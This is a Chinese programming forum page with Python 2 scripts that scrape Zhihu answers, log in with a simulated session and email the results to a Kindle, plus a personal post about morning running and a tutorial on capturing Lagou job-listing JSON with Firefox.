# 用来保存内容的文件名,因为文件名不能有一些特殊符号,所以使用正则表达式过滤掉

self.save2file(filename, title.string)


detail = bs.find("div", class_="zm-editable-content")

self.save2file(filename, "\n\n\n\n--------------------Detail----------------------\n\n")
# 获取问题的补充内容

if detail is not None:

for i in detail.strings:
self.save2file(filename, unicode(i))

answer = bs.find_all("div", class_="zm-editable-content clearfix")
k = 0
index = 0
for each_answer in answer:

self.save2file(filename, "\n\n-------------------------answer %s via -------------------------\n\n" % k)

for a in each_answer.strings:
# 循环获取每一个答案的内容,然后保存到文件中
self.save2file(filename, unicode(a))
k += 1
index = index + 1

smtp_server = 'smtp.126.com'
from_mail = 'your@126.com'
password = 'yourpassword'
to_mail = 'yourname@kindle.cn'

# send_kindle=MailAtt(smtp_server,from_mail,password,to_mail)
# send_kindle.send_txt(filename)

# 调用发送邮件函数,把电子书发送到你的kindle用户的邮箱账号,这样你的kindle就可以收到电子书啦
print filename


class MailAtt():
def __init__(self, smtp_server, from_mail, password, to_mail):
self.server = smtp_server
self.username = from_mail.split("@")[0]
self.from_mail = from_mail
self.password = password
self.to_mail = to_mail

# 初始化邮箱设置

def send_txt(self, filename):
# 这里发送附件尤其要注意字符编码,当时调试了挺久的,因为收到的文件总是乱码
self.smtp = smtplib.SMTP()
self.smtp.connect(self.server)
self.smtp.login(self.username, self.password)
self.msg = MIMEMultipart()
self.msg['to'] = self.to_mail
self.msg['from'] = self.from_mail
self.msg['Subject'] = "Convert"
self.filename = filename + ".txt"
self.msg['Date'] = Utils.formatdate(localtime=1)
content = open(self.filename.decode('utf-8'), 'rb').read()
# print content
self.att = MIMEText(content, 'base64', 'utf-8')
self.att['Content-Type'] = 'application/octet-stream'
# self.att["Content-Disposition"] = "attachment;filename=\"%s\"" %(self.filename.encode('gb2312'))
self.att["Content-Disposition"] = "attachment;filename=\"%s\"" % Header(self.filename, 'gb2312')
# print self.att["Content-Disposition"]
self.msg.attach(self.att)

self.smtp.sendmail(self.msg['from'], self.msg['to'], self.msg.as_string())
self.smtp.quit()


if __name__ == "__main__":

sub_folder = os.path.join(os.getcwd(), "content")
# 专门用于存放下载的电子书的目录

if not os.path.exists(sub_folder):
os.mkdir(sub_folder)

os.chdir(sub_folder)

id = sys.argv[1]
# 给出的第一个参数 就是你要下载的问题的id
# 比如 想要下载的问题链接是 https://www.zhihu.com/question/29372574
# 那么 就输入 python zhihu.py 29372574


# id_link="/question/"+id
obj = GetContent(id)
# obj.getAnswer(id_link)

# 调用获取函数

print "Done"





 
#######################################
2016.8.19 更新
添加了新功能,模拟知乎登陆,自动获取自己关注的答案,制作成电子书并且发送到kindle





 # -*-coding=utf-8-*-
__author__ = 'Rocky'
import requests
import cookielib
import re
import json
import time
import os
from getContent import GetContent
agent='Mozilla/5.0 (Windows NT 5.1; rv:33.0) Gecko/20100101 Firefox/33.0'
headers={'Host':'www.zhihu.com',
'Referer':'https://www.zhihu.com',
'User-Agent':agent}

#全局变量
session=requests.session()

session.cookies=cookielib.LWPCookieJar(filename="cookies")

try:
session.cookies.load(ignore_discard=True)
except:
print "Cookie can't load"

def isLogin():
url='https://www.zhihu.com/settings/profile'
login_code=session.get(url,headers=headers,allow_redirects=False).status_code
print login_code
if login_code == 200:
return True
else:
return False

def get_xsrf():
url='http://www.zhihu.com'
r=session.get(url,headers=headers,allow_redirects=False)
txt=r.text
result=re.findall(r'<input type=\"hidden\" name=\"_xsrf\" value=\"(\w+)\"/>',txt)[0]
return result

def getCaptcha():
#r=1471341285051
r=(time.time()*1000)
url='http://www.zhihu.com/captcha.gif?r='+str(r)+'&type=login'

image=session.get(url,headers=headers)
f=open("photo.jpg",'wb')
f.write(image.content)
f.close()


def Login():
xsrf=get_xsrf()
print xsrf
print len(xsrf)
login_url='http://www.zhihu.com/login/email'
data={
'_xsrf':xsrf,
'password':'*',
'remember_me':'true',
'email':'*'
}
try:
content=session.post(login_url,data=data,headers=headers)
login_code=content.text
print content.status_code
#this line important ! if no status, if will fail and execute the except part
#print content.status

if content.status_code != requests.codes.ok:
print "Need to verification code !"
getCaptcha()
#print "Please input the code of the captcha"
code=raw_input("Please input the code of the captcha")
data['captcha']=code
content=session.post(login_url,data=data,headers=headers)
print content.status_code

if content.status_code==requests.codes.ok:
print "Login successful"
session.cookies.save()
#print login_code
else:
session.cookies.save()
except:
print "Error in login"
return False

def focus_question():
focus_id=
url='https://www.zhihu.com/question/following'
content=session.get(url,headers=headers)
print content
p=re.compile(r'<a class="question_link" href="/question/(\d+)" target="_blank" data-id')
id_list=p.findall(content.text)
pattern=re.compile(r'<input type=\"hidden\" name=\"_xsrf\" value=\"(\w+)\"/>')
result=re.findall(pattern,content.text)[0]
print result
for i in id_list:
print i
focus_id.append(i)

url_next='https://www.zhihu.com/node/ProfileFollowedQuestionsV2'
page=20
offset=20
end_page=500
xsrf=re.findall(r'<input type=\"hidden\" name=\"_xsrf\" value=\"(\w+)\"',content.text)[0]
while offset < end_page:
#para='{"offset":20}'
#print para
print "page: %d" %offset
params={"offset":offset}
params_json=json.dumps(params)

data={
'method':'next',
'params':params_json,
'_xsrf':xsrf
}
#注意上面那里 post的data需要一个xsrf的字段,不然会返回403 的错误,这个在抓包的过程中一直都没有看到提交到xsrf,所以自己摸索出来的
offset=offset+page
headers_l={
'Host':'www.zhihu.com',
'Referer':'https://www.zhihu.com/question/following',
'User-Agent':agent,
'Origin':'https://www.zhihu.com',
'X-Requested-With':'XMLHttpRequest'
}
try:
s=session.post(url_next,data=data,headers=headers_l)
#print s.status_code
#print s.text
msgs=json.loads(s.text)
msg=msgs['msg']
for i in msg:
id_sub=re.findall(p,i)

for j in id_sub:
print j
id_list.append(j)

except:
print "Getting Error "


return id_list

def main():

if isLogin():
print "Has login"
else:
print "Need to login"
Login()
list_id=focus_question()
for i in list_id:
print i
obj=GetContent(i)

#getCaptcha()
if __name__=='__main__':
sub_folder=os.path.join(os.getcwd(),"content")
#专门用于存放下载的电子书的目录

if not os.path.exists(sub_folder):
os.mkdir(sub_folder)

os.chdir(sub_folder)

main()
 
 完整代码请猛击这里:
github: https://github.com/Rockyzsu/zhihuToKindle
  查看全部
平时逛知乎,上班的时候看到一些好的答案,不过由于答案太长,没来得及看完,所以自己写了个python脚本,把自己想要的答案抓取下来,并且推送到kindle上,下班后用kindle再慢慢看。 平时喜欢的内容也可以整理成电子书抓取下来,等周末闲时看。
 
#2016-08-19更新:
添加了模拟登陆知乎的模块,自动获取自己的关注的问题id,然后把这些问题的所有答案抓取下来推送到kindle


11.PNG



kindle.JPG
# -*-coding=utf-8-*-
__author__ = 'Rocky'
# -*-coding=utf-8-*-
from email.mime.text import MIMEText
from email.mime.multipart import MIMEMultipart
import smtplib
from email import Encoders, Utils
import urllib2
import time
import re
import sys
import os

from bs4 import BeautifulSoup

from email.Header import Header

reload(sys)
sys.setdefaultencoding('utf-8')


class GetContent():
def __init__(self, id):

# 给出的第一个参数 就是你要下载的问题的id
# 比如 想要下载的问题链接是 https://www.zhihu.com/question/29372574
# 那么 就输入 python zhihu.py 29372574

id_link = "/question/" + id
self.getAnswer(id_link)

def save2file(self, filename, content):
# 保存为电子书文件
filename = filename + ".txt"
f = open(filename, 'a')
f.write(content)
f.close()

def getAnswer(self, answerID):
host = "http://www.zhihu.com"
url = host + answerID
print url
user_agent = "Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0)"
# 构造header 伪装一下
header = {"User-Agent": user_agent}
req = urllib2.Request(url, headers=header)

try:
resp = urllib2.urlopen(req)
except:
print "Time out. Retry"
time.sleep(30)
# try to switch with proxy ip
resp = urllib2.urlopen(req)
# 这里已经获取了 网页的代码,接下来就是提取你想要的内容。 使用beautifulSoup 来处理,很方便
try:
bs = BeautifulSoup(resp)

except:
print "Beautifulsoup error"
return None

title = bs.title
# 获取的标题

filename_old = title.string.strip()
print filename_old
filename = re.sub('[\/:*?"<>|]', '-', filename_old)
# 用来保存内容的文件名,因为文件名不能有一些特殊符号,所以使用正则表达式过滤掉

self.save2file(filename, title.string)


detail = bs.find("div", class_="zm-editable-content")

self.save2file(filename, "\n\n\n\n--------------------Detail----------------------\n\n")
# 获取问题的补充内容

if detail is not None:

for i in detail.strings:
self.save2file(filename, unicode(i))

answer = bs.find_all("div", class_="zm-editable-content clearfix")
k = 0
index = 0
for each_answer in answer:

self.save2file(filename, "\n\n-------------------------answer %s via -------------------------\n\n" % k)

for a in each_answer.strings:
# 循环获取每一个答案的内容,然后保存到文件中
self.save2file(filename, unicode(a))
k += 1
index = index + 1

smtp_server = 'smtp.126.com'
from_mail = 'your@126.com'
password = 'yourpassword'
to_mail = 'yourname@kindle.cn'

# send_kindle=MailAtt(smtp_server,from_mail,password,to_mail)
# send_kindle.send_txt(filename)

# 调用发送邮件函数,把电子书发送到你的kindle用户的邮箱账号,这样你的kindle就可以收到电子书啦
print filename


class MailAtt():
def __init__(self, smtp_server, from_mail, password, to_mail):
self.server = smtp_server
self.username = from_mail.split("@")[0]
self.from_mail = from_mail
self.password = password
self.to_mail = to_mail

# 初始化邮箱设置

def send_txt(self, filename):
# 这里发送附件尤其要注意字符编码,当时调试了挺久的,因为收到的文件总是乱码
self.smtp = smtplib.SMTP()
self.smtp.connect(self.server)
self.smtp.login(self.username, self.password)
self.msg = MIMEMultipart()
self.msg['to'] = self.to_mail
self.msg['from'] = self.from_mail
self.msg['Subject'] = "Convert"
self.filename = filename + ".txt"
self.msg['Date'] = Utils.formatdate(localtime=1)
content = open(self.filename.decode('utf-8'), 'rb').read()
# print content
self.att = MIMEText(content, 'base64', 'utf-8')
self.att['Content-Type'] = 'application/octet-stream'
# self.att["Content-Disposition"] = "attachment;filename=\"%s\"" %(self.filename.encode('gb2312'))
self.att["Content-Disposition"] = "attachment;filename=\"%s\"" % Header(self.filename, 'gb2312')
# print self.att["Content-Disposition"]
self.msg.attach(self.att)

self.smtp.sendmail(self.msg['from'], self.msg['to'], self.msg.as_string())
self.smtp.quit()


if __name__ == "__main__":

sub_folder = os.path.join(os.getcwd(), "content")
# 专门用于存放下载的电子书的目录

if not os.path.exists(sub_folder):
os.mkdir(sub_folder)

os.chdir(sub_folder)

id = sys.argv[1]
# 给出的第一个参数 就是你要下载的问题的id
# 比如 想要下载的问题链接是 https://www.zhihu.com/question/29372574
# 那么 就输入 python zhihu.py 29372574


# id_link="/question/"+id
obj = GetContent(id)
# obj.getAnswer(id_link)

# 调用获取函数

print "Done"





 
#######################################
2016.8.19 更新
添加了新功能,模拟知乎登陆,自动获取自己关注的答案,制作成电子书并且发送到kindle

知乎.PNG

 
# -*-coding=utf-8-*-
__author__ = 'Rocky'
import requests
import cookielib
import re
import json
import time
import os
from getContent import GetContent
agent='Mozilla/5.0 (Windows NT 5.1; rv:33.0) Gecko/20100101 Firefox/33.0'
headers={'Host':'www.zhihu.com',
'Referer':'https://www.zhihu.com',
'User-Agent':agent}

#全局变量
session=requests.session()

session.cookies=cookielib.LWPCookieJar(filename="cookies")

try:
session.cookies.load(ignore_discard=True)
except:
print "Cookie can't load"

def isLogin():
url='https://www.zhihu.com/settings/profile'
login_code=session.get(url,headers=headers,allow_redirects=False).status_code
print login_code
if login_code == 200:
return True
else:
return False

def get_xsrf():
url='http://www.zhihu.com'
r=session.get(url,headers=headers,allow_redirects=False)
txt=r.text
result=re.findall(r'<input type=\"hidden\" name=\"_xsrf\" value=\"(\w+)\"/>',txt)[0]
return result

def getCaptcha():
#r=1471341285051
r=(time.time()*1000)
url='http://www.zhihu.com/captcha.gif?r='+str(r)+'&type=login'

image=session.get(url,headers=headers)
f=open("photo.jpg",'wb')
f.write(image.content)
f.close()


def Login():
xsrf=get_xsrf()
print xsrf
print len(xsrf)
login_url='http://www.zhihu.com/login/email'
data={
'_xsrf':xsrf,
'password':'*',
'remember_me':'true',
'email':'*'
}
try:
content=session.post(login_url,data=data,headers=headers)
login_code=content.text
print content.status_code
#this line important ! if no status, if will fail and execute the except part
#print content.status

if content.status_code != requests.codes.ok:
print "Need to verification code !"
getCaptcha()
#print "Please input the code of the captcha"
code=raw_input("Please input the code of the captcha")
data['captcha']=code
content=session.post(login_url,data=data,headers=headers)
print content.status_code

if content.status_code==requests.codes.ok:
print "Login successful"
session.cookies.save()
#print login_code
else:
session.cookies.save()
except:
print "Error in login"
return False

def focus_question():
focus_id=
url='https://www.zhihu.com/question/following'
content=session.get(url,headers=headers)
print content
p=re.compile(r'<a class="question_link" href="/question/(\d+)" target="_blank" data-id')
id_list=p.findall(content.text)
pattern=re.compile(r'<input type=\"hidden\" name=\"_xsrf\" value=\"(\w+)\"/>')
result=re.findall(pattern,content.text)[0]
print result
for i in id_list:
print i
focus_id.append(i)

url_next='https://www.zhihu.com/node/ProfileFollowedQuestionsV2'
page=20
offset=20
end_page=500
xsrf=re.findall(r'<input type=\"hidden\" name=\"_xsrf\" value=\"(\w+)\"',content.text)[0]
while offset < end_page:
#para='{"offset":20}'
#print para
print "page: %d" %offset
params={"offset":offset}
params_json=json.dumps(params)

data={
'method':'next',
'params':params_json,
'_xsrf':xsrf
}
#注意上面那里 post的data需要一个xsrf的字段,不然会返回403 的错误,这个在抓包的过程中一直都没有看到提交到xsrf,所以自己摸索出来的
offset=offset+page
headers_l={
'Host':'www.zhihu.com',
'Referer':'https://www.zhihu.com/question/following',
'User-Agent':agent,
'Origin':'https://www.zhihu.com',
'X-Requested-With':'XMLHttpRequest'
}
try:
s=session.post(url_next,data=data,headers=headers_l)
#print s.status_code
#print s.text
msgs=json.loads(s.text)
msg=msgs['msg']
for i in msg:
id_sub=re.findall(p,i)

for j in id_sub:
print j
id_list.append(j)

except:
print "Getting Error "


return id_list

def main():

if isLogin():
print "Has login"
else:
print "Need to login"
Login()
list_id=focus_question()
for i in list_id:
print i
obj=GetContent(i)

#getCaptcha()
if __name__=='__main__':
sub_folder=os.path.join(os.getcwd(),"content")
#专门用于存放下载的电子书的目录

if not os.path.exists(sub_folder):
os.mkdir(sub_folder)

os.chdir(sub_folder)

main()

 
 完整代码请猛击这里:
github: https://github.com/Rockyzsu/zhihuToKindle
 

Linux下如何解压tbz2后缀的压缩文件

回复

默认分类低调的哥哥 回复了问题 • 0 人关注 • 1 个回复 • 1752 次浏览 • 2016-05-11 18:33 • 来自相关话题

毕业不久小两口如何买房?

回复

30天新尝试匿名用户 回复了问题 • 0 人关注 • 1 个回复 • 741 次浏览 • 2016-05-11 12:29 • 来自相关话题

如何高效地利用时间 -- 在高盛工作8年的学姐

30天新尝试低调的哥哥 发表了文章 • 0 个评论 • 540 次浏览 • 2016-05-10 23:15 • 来自相关话题

 
image001.jpg

 

晨跑30分钟 30天

默认分类低调的哥哥 发表了文章 • 0 个评论 • 588 次浏览 • 2016-05-09 21:54 • 来自相关话题

曾经,哦不,是一直到现在,我几乎没有在6点前起过床。然后每天却在叫嚷,时间不够用呀,然后就是熬夜晚睡。虽然知道熬夜等于慢性自杀,可是,和很多人一样,道理都懂,却总是无法彻底执行,每次脑子的两个小人,恶魔总是轻而易举地战胜了天使。 而养成一个习惯,至少要30天。



说实话,我本子记录的计划多的不胜枚举,可是真正被窝执行的却寥寥无几。包括标题的这个,6点起床,晨跑30分钟。 只不过,这一次把笔记本上的记录搬上自己的网站啦。 我不想在众目睽睽之下失信。 我觉得这样会让我执行计划的时候更加坚决。


早起去跑步的好处是:

晨跑能迫使人早起。 是的,正常的话我要睡到8点,早起跑完步还可以多出一个半小时来做其他事情。

晨跑能够提高人整天的代谢水平,从而是全天的能量消耗达到一个较高值,对减肥来说是很有益的。简单来说,晨跑30分钟全天的总代谢就能上升一个台阶,这个比以同样速度夜跑30分钟要有效的多。

晨跑能让人从一夜的睡眠中清醒过来并维持全天的良好身体状态。

晨跑能迅速提升人体的循环,排出一夜睡眠后积累在体内的代谢废物。跑过晨跑后,代谢废物的排出要比不跑快很多。



看完上面那几条,你是不是也心动想要一起行动呢? 是的话赶紧加入吧。 和我比比,看谁坚持的时间长哦~ 查看全部
曾经,哦不,是一直到现在,我几乎没有在6点前起过床。然后每天却在叫嚷,时间不够用呀,然后就是熬夜晚睡。虽然知道熬夜等于慢性自杀,可是,和很多人一样,道理都懂,却总是无法彻底执行,每次脑子的两个小人,恶魔总是轻而易举地战胜了天使。 而养成一个习惯,至少要30天。



说实话,我本子记录的计划多的不胜枚举,可是真正被窝执行的却寥寥无几。包括标题的这个,6点起床,晨跑30分钟。 只不过,这一次把笔记本上的记录搬上自己的网站啦。 我不想在众目睽睽之下失信。 我觉得这样会让我执行计划的时候更加坚决。


早起去跑步的好处是:

晨跑能迫使人早起。 是的,正常的话我要睡到8点,早起跑完步还可以多出一个半小时来做其他事情。

晨跑能够提高人整天的代谢水平,从而是全天的能量消耗达到一个较高值,对减肥来说是很有益的。简单来说,晨跑30分钟全天的总代谢就能上升一个台阶,这个比以同样速度夜跑30分钟要有效的多。

晨跑能让人从一夜的睡眠中清醒过来并维持全天的良好身体状态。

晨跑能迅速提升人体的循环,排出一夜睡眠后积累在体内的代谢废物。跑过晨跑后,代谢废物的排出要比不跑快很多。



看完上面那几条,你是不是也心动想要一起行动呢? 是的话赶紧加入吧。 和我比比,看谁坚持的时间长哦~

Firefox抓包分析 (拉勾网抓包分析)

python爬虫低调的哥哥 发表了文章 • 15 个评论 • 10132 次浏览 • 2016-05-09 18:30 • 来自相关话题

针对一些JS网页,动态网页在源码中无法看到它的内容,可以通过抓包分析出其JSON格式的数据。 网页通过通过这些JSON数据对网页的内容进行填充,然后就看到网页里显示相关的内容了。
 
使用过chrome,firefox,wireshark来抓过包,比较方便的是chrome,不需要安装第三方的其它插件,不过打开新页面的时候又要重新开一个捕捉页面,会错过一些实时的数据。 
 
wireshark需要专门掌握它自己的过滤规则,学习成本摆在那里。 
 
最好用的还是firefox+firebug第三方插件。
 
接下来以拉勾网为例。
 
打开firebug功能
 
www.lagou.com 在左侧栏随便点击一个岗位,以android为例 
 





 
在firebug中,需要点击“网络”选项卡,然后选择XHR。
 





 
Post的信息就是我们需要关注的,点击post的链接
 





 
点击了Android之后 我们从浏览器上传了几个参数到拉勾的服务器
一个是 first =true, 一个是kd = android, (关键字) 一个是pn =1 (page number 页码)
 
所以我们就可以模仿这一个步骤来构造一个数据包来模拟用户的点击动作。post_data = {'first':'true','kd':'Android','pn':'1'}
然后使用python中库中最简单的requests库来提交数据。 而这些数据 正是抓包里看到的数据。import requests

url = "http://www.lagou.com/jobs/posi ... ot%3B
return_data=requests.post(url,data=post_data)
print return_data.text

呐,打印出来的数据就是返回来的json数据{"code":0,"success":true,"requestId":null,"resubmitToken":null,"msg":null,"content":{"pageNo":1,"pageSize":15,"positionResult":{"totalCount":5000,"pageSize":15,"locationInfo":{"city":null,"district":null,"businessZone":null},"result":[{"createTime":"2016-05-05 17:27:50","companyId":50889,"positionName":"Android","positionType":"移动开发","workYear":"3-5年","education":"本科","jobNature":"全职","companyShortName":"和创(北京)科技股份有限公司","city":"北京","salary":"20k-35k","financeStage":"上市公司","positionId":1455217,"companyLogo":"i/image/M00/03/44/Cgp3O1ax7JWAOSzUAABS3OF0A7w289.jpg","positionFirstType":"技术","companyName":"和创科技(红圈营销)","positionAdvantage":"上市公司,持续股权激励政策,技术极客云集","industryField":"移动互联网 · 企业服务","score":1372,"district":"西城区","companyLabelList":["弹性工作","敏捷研发","股票期权","年底双薪"],"deliverCount":13,"leaderName":"刘学臣","companySize":"2000人以上","randomScore":0,"countAdjusted":false,"relScore":1000,"adjustScore":48,"imstate":"today","createTimeSort":1462440470000,"positonTypesMap":null,"hrScore":77,"flowScore":148,"showCount":6627,"pvScore":73.2258060280967,"plus":"是","businessZones":["新街口","德胜门","小西天"],"publisherId":994817,"loginTime":1462876049000,"appShow":3141,"calcScore":false,"showOrder":0,"haveDeliver":false,"orderBy":99,"adWord":1,"formatCreateTime":"2016-05-05","totalCount":0,"searchScore":0.0},{"createTime":"2016-05-05 18:30:16","companyId":50889,"positionName":"Android","positionType":"移动开发","workYear":"3-5年","education":"本科","jobNature":"全职","companyShortName":"和创(北京)科技股份有限公司","city":"北京","salary":"20k-35k","financeStage":"上市公司","positionId":1440576,"companyLogo":"i/image/M00/03/44/Cgp3O1ax7JWAOSzUAABS3OF0A7w289.jpg","positionFirstType":"技术","companyName":"和创科技(红圈营销)","positionAdvantage":"上市公司,持续股权激励政策,技术爆棚!","industryField":"移动互联网 · 企业服务","score":1372,"district":"海淀区","companyLabelList":["弹性工作","敏捷研发","股票期权","年底双薪"],"deliverCount":6,"leaderName":"刘学臣","companySize":"2000人以上","randomScore":0,"countAdjusted":false,"relScore":1000,"adjustScore":48,"imstate":"today","createTimeSort":1462444216000,"positonTypesMap":null,"hrScore":77,"flowScore":148,"showCount":3214,"pvScore":73.37271526202157,"plus":"是","businessZones":["双榆树","中关村","大钟寺"],"publisherId":994817,"loginTime":1462876049000,"appShow":1782,"calcScore":false,"showOrder":0,"haveDeliver":false,"orderBy":99,"adWord":1,"formatCreateTime":"2016-05-05","totalCount":0,"searchScore":0.0},{"createTime":"2016-05-10 18:41:29","companyId":94307,"positionName":"Android","positionType":"移动开发","workYear":"3-5年","education":"本科","jobNature":"全职","companyShortName":"宁波海大物联科技有限公司","city":"宁波","salary":"8k-15k","financeStage":"成长型(A轮)","positionId":1070249,"companyLogo":"image2/M00/03/32/CgqLKVXtWiuAUbXgAAB1g_5FW3Y484.png?cc=0.6152940313331783","positionFirstType":"技术","companyName":"海大物联","positionAdvantage":"一流的技术团队,丰厚的薪资回报。","industryField":"移动互联网 · 企业服务","score":1353,"district":"鄞州区","companyLabelList":["节日礼物","年底双薪","带薪年假","年度旅游"],"deliverCount":0,"leaderName":"暂没有填写","companySize":"50-150人","randomScore":0,"countAdjusted":false,"relScore":1000,"adjustScore":48,"imstate":"today","createTimeSort":1462876889000,"positonTypesMap":null,"hrScore":75,"flowScore":167,"showCount":1031,"pvScore":47.6349840620252,"plus":"是","businessZones":null,"publisherId":2494230,"loginTime":1462885305000,"appShow":184,"calcScore":false,"showOrder":0,"haveDeliver":false,"orderBy":63,"adWord":0,"formatCreateTime":"18:41发布","totalCount":0,"searchScore":0.0},{"createTime":"2016-05-10 17:57:43","companyId":89004,"positionName":"Android","positionType":"移动开发","workYear":"1-3年","education":"学历不限","jobNature":"全职","companyShortName":"温州康宁医院股份有限公司","city":"杭州","salary":"10k-20k","financeStage":"上市公司","positionId":1387825,"companyLogo":"i/image/M00/02/C2/CgqKkVabp--APWTjAACHHJJxyPc207.png","positionFirstType":"技术","companyName":"的的心理","positionAdvantage":"上市公司内部创业项目。优质福利待遇+期权","industryField":"移动互联网 · 医疗健康","score":1344,"district":"江干区","companyLabelList":["年底双薪","股票期权","带薪年假","招募合伙人"],"deliverCount":5,"leaderName":"杨怡","companySize":"500-2000人","randomScore":0,"countAdjusted":false,"relScore":1000,"adjustScore":48,"imstate":"today","createTimeSort":1462874263000,"positonTypesMap":null,"hrScore":74,"flowScore":153,"showCount":1312,"pvScore":66.87818057124453,"plus":"是","businessZones":["四季青","景芳"],"publisherId":3655492,"loginTime":1462873104000,"appShow":573,"calcScore":false,"showOrder":0,"haveDeliver":false,"orderBy":69,"adWord":0,"formatCreateTime":"17:57发布","totalCount":0,"searchScore":0.0},{"createTime":"2016-05-10 13:49:47","companyId":15071,"positionName":"Android","positionType":"移动开发","workYear":"3-5年","education":"本科","jobNature":"全职","companyShortName":"杭州短趣网络传媒技术有限公司","city":"杭州","salary":"10k-20k","financeStage":"成长型(A轮)","positionId":1803257,"companyLogo":"image2/M00/0B/80/CgpzWlYYse2AJgc0AABG9iSEWAE052.jpg","positionFirstType":"技术","companyName":"短趣网","positionAdvantage":"高额项目奖金,行业内有竞争力的薪资水平","industryField":"移动互联网 · 社交网络","score":1343,"district":null,"companyLabelList":["绩效奖金","年终分红","五险一金","通讯津贴"],"deliverCount":1,"leaderName":"王强宇","companySize":"50-150人","randomScore":0,"countAdjusted":false,"relScore":1000,"adjustScore":28,"imstate":"today","createTimeSort":1462859387000,"positonTypesMap":null,"hrScore":68,"flowScore":178,"showCount":652,"pvScore":32.82081357576065,"plus":"否","businessZones":null,"publisherId":4362468,"loginTime":1462870318000,"appShow":0,"calcScore":false,"showOrder":0,"haveDeliver":false,"orderBy":69,"adWord":0,"formatCreateTime":"13:49发布","totalCount":0,"searchScore":0.0},{"createTime":"2016-05-10 13:55:08","companyId":28422,"positionName":"Android","positionType":"移动开发","workYear":"3-5年","education":"本科","jobNature":"全职","companyShortName":"成都品果科技有限公司","city":"北京","salary":"18k-30k","financeStage":"成长型(B轮)","positionId":290875,"companyLogo":"i/image/M00/02/F3/Cgp3O1ah7FuAbSnkAACMlcPiWXk393.png","positionFirstType":"技术","companyName":"camera360","positionAdvantage":"高大上的福利待遇、发展前景等着你哦!","industryField":"移动互联网","score":1339,"district":"海淀区","companyLabelList":["年终分红","绩效奖金","年底双薪","五险一金"],"deliverCount":6,"leaderName":"徐灏","companySize":"15-50人","randomScore":0,"countAdjusted":false,"relScore":1000,"adjustScore":0,"imstate":"disabled","createTimeSort":1462859708000,"positonTypesMap":null,"hrScore":80,"flowScore":188,"showCount":1199,"pvScore":19.745453118211834,"plus":"是","businessZones":["中关村","北京大学","苏州街"],"publisherId":389753,"loginTime":1462866640000,"appShow":0,"calcScore":false,"showOrder":1433137697136,"haveDeliver":false,"orderBy":71,"adWord":0,"formatCreateTime":"13:55发布","totalCount":0,"searchScore":0.0},{"createTime":"2016-05-10 17:57:55","companyId":89004,"positionName":"Android","positionType":"移动开发","workYear":"不限","education":"学历不限","jobNature":"全职","companyShortName":"温州康宁医院股份有限公司","city":"杭州","salary":"10k-20k","financeStage":"上市公司","positionId":1410975,"companyLogo":"i/image/M00/02/C2/CgqKkVabp--APWTjAACHHJJxyPc207.png","positionFirstType":"技术","companyName":"的的心理","positionAdvantage":"上市公司内部创业团队","industryField":"移动互联网 · 医疗健康","score":1335,"district":null,"companyLabelList":["年底双薪","股票期权","带薪年假","招募合伙人"],"deliverCount":9,"leaderName":"杨怡","companySize":"500-2000人","randomScore":0,"countAdjusted":false,"relScore":1000,"adjustScore":48,"imstate":"today","createTimeSort":1462874275000,"positonTypesMap":null,"hrScore":74,"flowScore":144,"showCount":2085,"pvScore":77.9570832081189,"plus":"是","businessZones":null,"publisherId":3655492,"loginTime":1462873104000,"appShow":711,"calcScore":false,"showOrder":0,"haveDeliver":false,"orderBy":69,"adWord":0,"formatCreateTime":"17:57发布","totalCount":0,"searchScore":0.0},{"createTime":"2016-05-09 09:46:32","companyId":113895,"positionName":"Android开发工程师","positionType":"移动开发","workYear":"3-5年","education":"本科","jobNature":"全职","companyShortName":"北京互动金服科技有限公司","city":"北京","salary":"15k-25k","financeStage":"成长型(不需要融资)","positionId":1473342,"companyLogo":"i/image/M00/03/D8/CgqKkVbEA_uAe1k4AAHTfy3RxPY812.jpg","positionFirstType":"技术","companyName":"互动科技","positionAdvantage":"五险一金 补充医疗 年终奖 福利津贴","industryField":"移动互联网 · O2O","score":1326,"district":"海淀区","companyLabelList":,"deliverCount":32,"leaderName":"暂没有填写","companySize":"50-150人","randomScore":0,"countAdjusted":false,"relScore":980,"adjustScore":48,"imstate":"today","createTimeSort":1462758392000,"positonTypesMap":null,"hrScore":82,"flowScore":153,"showCount":3741,"pvScore":67.01698353391613,"plus":"是","businessZones":["白石桥","魏公村","万寿寺","白石桥","魏公村","万寿寺"],"publisherId":3814477,"loginTime":1462874842000,"appShow":0,"calcScore":false,"showOrder":0,"haveDeliver":false,"orderBy":63,"adWord":0,"formatCreateTime":"1天前发布","totalCount":0,"searchScore":0.0},{"createTime":"2016-05-10 16:50:51","companyId":23999,"positionName":"Android","positionType":"移动开发","workYear":"1-3年","education":"本科","jobNature":"全职","companyShortName":"南京智鹤电子科技有限公司","city":"长沙","salary":"8k-12k","financeStage":"成长型(A轮)","positionId":1804917,"companyLogo":"image1/M00/35/EB/CgYXBlWc5KGAVeL8AAAOi4lPhWU502.jpg","positionFirstType":"技术","companyName":"智鹤科技","positionAdvantage":"弹性工作制 技术氛围浓厚","industryField":"移动互联网","score":1322,"district":null,"companyLabelList":["股票期权","绩效奖金","专项奖金","年终分红"],"deliverCount":1,"leaderName":"暂没有填写","companySize":"50-150人","randomScore":0,"countAdjusted":false,"relScore":1000,"adjustScore":0,"imstate":"disabled","createTimeSort":1462870251000,"positonTypesMap":null,"hrScore":62,"flowScore":191,"showCount":283,"pvScore":15.939035855045429,"plus":"否","businessZones":null,"publisherId":282621,"loginTime":1462869967000,"appShow":0,"calcScore":false,"showOrder":0,"haveDeliver":false,"orderBy":69,"adWord":0,"formatCreateTime":"16:50发布","totalCount":0,"searchScore":0.0},{"createTime":"2016-05-08 23:12:56","companyId":24287,"positionName":"android","positionType":"移动开发","workYear":"3-5年","education":"本科","jobNature":"全职","companyShortName":"杭州腾展科技有限公司","city":"杭州","salary":"15k-22k","financeStage":"成熟型(D轮及以上)","positionId":1197868,"companyLogo":"image1/M00/0B/7D/Cgo8PFTzIBOAEd2dAACMq9tQoMA797.png","positionFirstType":"技术","companyName":"腾展叮咚(Dingtone)","positionAdvantage":"每半年调整薪资,今年上市!","industryField":"移动互联网 · 社交网络","score":1322,"district":"西湖区","companyLabelList":["出国旅游","股票期权","精英团队","强悍的创始人"],"deliverCount":9,"leaderName":"魏松祥(Steve 